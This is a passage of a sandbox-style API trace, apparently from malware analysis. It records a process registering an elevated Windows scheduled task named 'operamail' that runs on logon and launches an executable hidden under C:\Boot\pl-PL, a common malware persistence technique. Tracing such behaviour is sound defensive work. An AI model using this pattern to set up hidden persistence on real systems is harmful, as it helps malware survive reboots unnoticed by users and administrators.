lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0136.038] lstrlenW (lpString="First") returned 5 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0136.039] lstrlenW (lpString="Second") returned 6 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0136.039] lstrlenW (lpString="Third") returned 5 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0136.039] lstrlenW (lpString="Fourth") returned 6 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0136.039] lstrlenW (lpString="Last") returned 4 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0136.039] lstrlenW (lpString="First") returned 5 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0136.039] lstrlenW (lpString="Second") returned 6 [0136.039] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.039] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0136.039] lstrlenW (lpString="Third") returned 5 [0136.039] GetProcessHeap () returned 0x2d0000 [0136.039] GetProcessHeap () returned 0x2d0000 [0136.039] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed630) returned 1 [0136.039] GetProcessHeap () returned 0x2d0000 [0136.039] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed630) returned 0xa [0136.040] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed630 | out: hHeap=0x2d0000) returned 1 [0136.040] GetProcessHeap () returned 0x2d0000 [0136.040] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed630 [0136.040] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.040] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0136.040] lstrlenW (lpString="Fourth") returned 6 [0136.040] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.040] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0136.040] lstrlenW (lpString="Last") returned 4 [0136.040] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c120, cchData=128 | out: lpLCData="0") returned 2 [0136.040] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.040] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0136.040] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0136.040] GetProcessHeap () returned 0x2d0000 [0136.040] GetProcessHeap () returned 0x2d0000 [0136.040] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed550) returned 1 [0136.040] GetProcessHeap () returned 0x2d0000 [0136.040] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed550) returned 0x10 [0136.040] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed550 | out: hHeap=0x2d0000) returned 1 [0136.040] GetProcessHeap () returned 0x2d0000 [0136.040] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed550 [0136.041] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c140, cchData=128 | out: lpLCData="0") returned 2 [0136.041] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.041] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0136.041] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0136.041] GetProcessHeap () returned 0x2d0000 [0136.041] GetProcessHeap () returned 0x2d0000 [0136.041] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed570) returned 1 [0136.041] GetProcessHeap () returned 0x2d0000 [0136.041] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed570) returned 0x10 [0136.041] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed570 | out: hHeap=0x2d0000) returned 1 [0136.041] GetProcessHeap () returned 0x2d0000 [0136.041] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed570 [0136.041] GetLocalTime (in: lpSystemTime=0x21c370 | out: lpSystemTime=0x21c370*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3b, wMilliseconds=0x3b7)) [0136.041] GetLocalTime (in: lpSystemTime=0x21cc28 | out: lpSystemTime=0x21cc28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3b, wMilliseconds=0x3b7)) [0136.041] lstrlenW (lpString="") returned 0 [0136.041] lstrlenW (lpString="") returned 0 [0136.041] lstrlenW (lpString="") returned 0 [0136.041] lstrlenW (lpString="") returned 0 [0136.041] lstrlenW (lpString="") returned 0 [0136.041] lstrlenW (lpString="") returned 0 [0136.041] lstrlenW (lpString="") returned 0 [0136.041] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0136.073] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0136.156] CoCreateInstance (in: rclsid=0xffeb1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffeb1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21c9f0 | out: ppv=0x21c9f0*=0x137a50) returned 0x0 [0136.166] TaskScheduler:ITaskService:Connect (This=0x137a50, serverName=0x21cad0*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21ca90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21cab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21ca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0136.231] TaskScheduler:IUnknown:AddRef (This=0x137a50) returned 0x2 [0136.231] TaskScheduler:ITaskService:GetFolder (in: This=0x137a50, Path=0x0, ppFolder=0x21cb88 | out: ppFolder=0x21cb88*=0x137c10) returned 0x0 [0136.234] TaskScheduler:ITaskService:NewTask (in: This=0x137a50, flags=0x0, ppDefinition=0x21cb80 | out: ppDefinition=0x21cb80*=0x137c60) returned 0x0 [0136.235] ITaskDefinition:get_Actions (in: This=0x137c60, ppActions=0x21cb00 | out: ppActions=0x21cb00*=0x137d20) returned 0x0 [0136.235] IActionCollection:Create (in: This=0x137d20, Type=0, ppAction=0x21cb20 | out: ppAction=0x21cb20*=0x1360c0) returned 0x0 [0136.235] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.235] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.235] lstrlenW (lpString=" ") returned 1 [0136.235] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0136.235] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0136.235] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0136.236] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0136.237] IUnknown:Release (This=0x1360c0) returned 0x1 [0136.237] IUnknown:Release (This=0x137d20) returned 0x1 [0136.237] ITaskDefinition:get_Triggers (in: This=0x137c60, ppTriggers=0x21c680 | out: ppTriggers=0x21c680*=0x137e60) returned 0x0 [0136.237] ITriggerCollection:Create (in: This=0x137e60, Type=9, ppTrigger=0x21c678 | out: ppTrigger=0x21c678*=0x136130) returned 0x0 [0136.237] IUnknown:QueryInterface (in: This=0x136130, riid=0xffeb1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x21c670 | out: ppvObject=0x21c670*=0x136130) returned 0x0 [0136.237] IUnknown:Release (This=0x136130) returned 0x2 [0136.237] _vsnwprintf (in: _Buffer=0x21c5c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21c598 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0136.238] ITrigger:put_StartBoundary (This=0x136130, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0136.238] lstrlenW (lpString="") returned 0 [0136.238] lstrlenW (lpString="") returned 0 [0136.238] lstrlenW (lpString="") returned 0 [0136.238] lstrlenW (lpString="") returned 0 [0136.238] IUnknown:Release (This=0x136130) returned 0x1 [0136.238] IUnknown:Release (This=0x137e60) returned 0x1 [0136.238] ITaskDefinition:get_Settings (in: This=0x137c60, ppSettings=0x21cb20 | out: ppSettings=0x21cb20*=0x137ed0) returned 0x0 [0136.238] lstrlenW (lpString="") returned 0 [0136.238] IUnknown:Release (This=0x137ed0) returned 0x1 [0136.238] GetLocalTime (in: lpSystemTime=0x21c9d8 | out: lpSystemTime=0x21c9d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x0, wMilliseconds=0x8a)) [0136.238] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0136.239] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0136.239] GetUserNameW (in: lpBuffer=0x21ca00, pcbBuffer=0x21c9e8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21c9e8) returned 1 [0136.239] ITaskDefinition:get_RegistrationInfo (in: This=0x137c60, ppRegistrationInfo=0x21c9d0 | out: ppRegistrationInfo=0x21c9d0*=0x137da0) returned 0x0 [0136.240] IRegistrationInfo:put_Author (This=0x137da0, Author="") returned 0x0 [0136.240] _vsnwprintf (in: _Buffer=0x21ca00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21c998 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0136.240] IRegistrationInfo:put_Date (This=0x137da0, Date="") returned 0x0 [0136.240] IUnknown:Release (This=0x137da0) returned 0x1 [0136.240] malloc (_Size=0x18) returned 0x135a80 [0136.240] free (_Block=0x135a80) [0136.240] lstrlenW (lpString="") returned 0 [0136.240] ITaskDefinition:get_Principal (in: This=0x137c60, ppPrincipal=0x21cbf0 | out: ppPrincipal=0x21cbf0*=0x136010) returned 0x0 [0136.241] IPrincipal:put_RunLevel (This=0x136010, RunLevel=1) returned 0x0 [0136.241] IUnknown:Release (This=0x136010) returned 0x1 [0136.241] malloc (_Size=0x18) returned 0x135a80 [0136.241] ITaskFolder:RegisterTaskDefinition (in: This=0x137c10, Path="operamail", pDefinition=0x137c60, flags=6, UserId=0x21cc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21ccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21eb80, varVal2=0xfe), LogonType=3, sddl=0x21cc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21cb90 | out: ppTask=0x21cb90*=0x136350) returned 0x0 [0136.937] free (_Block=0x135a80) [0136.937] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.937] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0136.938] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0136.938] GetProcessHeap () returned 0x2d0000 [0136.938] GetProcessHeap () returned 0x2d0000 [0136.938] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed590) returned 1 [0136.938] GetProcessHeap () returned 0x2d0000 [0136.938] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed590) returned 0xe [0136.938] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed590 | out: hHeap=0x2d0000) returned 1 [0136.938] GetProcessHeap () returned 0x2d0000 [0136.938] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x82) returned 0x309910 [0136.938] _vsnwprintf (in: _Buffer=0x21d2d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21cb38 | out: _Buffer="SUCCESS: The scheduled task \"operamail\" has successfully been created.\n") returned 71 [0136.938] _fileno (_File=0x7fefed02ab0) returned -2 [0136.938] _errno () returned 0x134bb0 [0136.938] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0136.938] SetLastError (dwErrCode=0x6) [0136.938] lstrlenW (lpString="SUCCESS: The scheduled task \"operamail\" has successfully been created.\n") returned 71 [0136.938] GetConsoleOutputCP () returned 0x0 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"operamail\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0136.938] GetConsoleOutputCP () returned 0x0 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"operamail\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffef1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"operamail\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0136.938] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0136.939] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0136.939] IUnknown:Release (This=0x136350) returned 0x0 [0136.939] TaskScheduler:IUnknown:Release (This=0x137c60) returned 0x0 [0136.939] TaskScheduler:IUnknown:Release (This=0x137c10) returned 0x0 [0136.939] TaskScheduler:IUnknown:Release (This=0x137a50) returned 0x1 [0136.939] lstrlenW (lpString="") returned 0 [0136.939] GetProcessHeap () returned 0x2d0000 [0136.939] GetProcessHeap () returned 0x2d0000 [0136.939] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec220) returned 1 [0136.939] GetProcessHeap () returned 0x2d0000 [0136.939] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec220) returned 0x1fc [0136.940] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec220 | out: hHeap=0x2d0000) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4b0) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed4b0) returned 0x16 [0136.940] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4b0 | out: hHeap=0x2d0000) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed530) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed530) returned 0x18 [0136.940] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed530 | out: hHeap=0x2d0000) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd20) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd20) returned 0x20 [0136.940] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd20 | out: hHeap=0x2d0000) returned 1 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.940] GetProcessHeap () returned 0x2d0000 [0136.941] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebfc0) returned 1 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebfc0) returned 0xa0 [0136.941] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebfc0 | out: hHeap=0x2d0000) returned 1 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba40) returned 1 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba40) returned 0x18 [0136.941] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba40 | out: hHeap=0x2d0000) returned 1 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecae0) returned 1 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecae0) returned 0x20 [0136.941] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecae0 | out: hHeap=0x2d0000) returned 1 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.941] GetProcessHeap () returned 0x2d0000 [0136.942] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e92c0) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e92c0) returned 0x3c [0136.942] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e92c0 | out: hHeap=0x2d0000) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed490) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed490) returned 0x18 [0136.942] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed490 | out: hHeap=0x2d0000) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecab0) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecab0) returned 0x20 [0136.942] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecab0 | out: hHeap=0x2d0000) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.942] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e9270) returned 1 [0136.942] GetProcessHeap () returned 0x2d0000 [0136.943] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e9270) returned 0x3e [0136.943] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e9270 | out: hHeap=0x2d0000) returned 1 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed510) returned 1 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed510) returned 0x18 [0136.943] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed510 | out: hHeap=0x2d0000) returned 1 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eca80) returned 1 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eca80) returned 0x20 [0136.943] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eca80 | out: hHeap=0x2d0000) returned 1 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.943] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4f0) returned 1 [0136.943] GetProcessHeap () returned 0x2d0000 [0136.944] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed4f0) returned 0xe [0136.944] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4f0 | out: hHeap=0x2d0000) returned 1 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4d0) returned 1 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed4d0) returned 0x18 [0136.944] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4d0 | out: hHeap=0x2d0000) returned 1 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d20) returned 1 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d20) returned 0x20 [0136.944] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d20 | out: hHeap=0x2d0000) returned 1 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbc0) returned 1 [0136.944] GetProcessHeap () returned 0x2d0000 [0136.944] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbc0) returned 0x208 [0136.945] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbc0 | out: hHeap=0x2d0000) returned 1 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba20) returned 1 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba20) returned 0x18 [0136.945] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba20 | out: hHeap=0x2d0000) returned 1 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c30) returned 1 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c30) returned 0x20 [0136.945] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c30 | out: hHeap=0x2d0000) returned 1 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed250) returned 1 [0136.945] GetProcessHeap () returned 0x2d0000 [0136.945] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed250) returned 0x200 [0136.946] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed250 | out: hHeap=0x2d0000) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba60) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba60) returned 0x18 [0136.946] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba60 | out: hHeap=0x2d0000) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ba0) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ba0) returned 0x20 [0136.946] HeapFree (in: hHeap=0x2d0000, 